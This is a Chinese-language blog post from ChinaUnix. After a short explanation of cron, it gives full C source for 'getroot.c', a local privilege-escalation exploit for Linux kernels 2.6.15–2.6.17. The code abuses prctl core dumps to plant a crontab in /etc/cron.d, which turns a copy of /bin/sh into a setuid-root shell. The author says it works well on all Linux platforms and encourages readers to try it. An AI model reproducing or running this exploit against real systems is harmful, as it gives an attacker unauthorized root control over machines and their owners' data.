Chinaunix首页 | 论坛 | 博客
  • 博客访问: 10810225
  • 博文数量: 2905
  • 博客积分: 20098
  • 博客等级: 上将
  • 技术积分: 36298
  • 用 户 组: 普通用户
  • 注册时间: 2009-03-23 05:00
文章存档

2012年(1)

2011年(3)

2009年(2901)

分类: LINUX

2009-03-23 11:34:23

先介绍下cron,crontab文件可以让系统定时执行工作(相当于windows上的task计划),Cron是一个常驻程序(daemon),在开机时激活cron的daemon时,它会自动去检查相关目录,看看是否有任何cron文件。每一个user的可以去设定自己所要排定执行的工作。系统会定期执行 /etc/下的cron.d、cron.daily、cron.hourly、cron.weekly、cron.monthly目录下的命令。
我们关心的是怎么让它产生core dump,然后获取root权限。
正文]:
/*
 *getroot.c
 * 2006/11/08 Linux 2.6.15 Exp
 * Modified by gz1X <>
 * Thx to:
 *
  • Marco Ivaldi  <>
     *
  • Julien TINNES
     *
     * Usage:
     * $ gcc getroot.c -o getroot -Wall
     * $ ./getroot
     *
     * test on dubuntu 2.6.15-23-686
     * theoretically it will work on 2.6.15-2.6.17
     */
    #include
    #include
    #include
    #include
    #include
    #include
    #include
  • char *payload="\nSHELL=/bin/sh\nPATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin\n* * * * *   root    chown root /tmp/sh ; chmod 4755 /tmp/sh ; rm -f /etc/cron.d/core\n";
    int main() {
        int id,i;
        struct rlimit   corelimit={RLIM_INFINITY, RLIM_INFINITY};
        system("cp /bin/sh /tmp/sh");
        setrlimit(RLIMIT_CORE, &corelimit);
        if ( !( id = fork() )) {
            chdir("/etc/cron.d");
            prctl(PR_SET_DUMPABLE, 2);
            sleep(200);
            exit(1);
        }
        kill(id, SIGSEGV);
        fprintf(stderr, "Getting the root shell.Please wait...\n");
        for (i = 0; i < 120; i++) {
            fprintf(stderr, ".");
            sleep(1);
        }
        fprintf(stderr,"\n");       
        system("/tmp/sh");
        return 1;   
    }

    [*[下载]:
     
    附上Julien TINNES的攻击源代码,大家可以尝试之。攻击效果非常好。各种linux平台都没问题。
     
    just enjoy!
    :-)
    阅读(1783) | 评论(0) | 转发(0) |
    给主人留下些什么吧!~~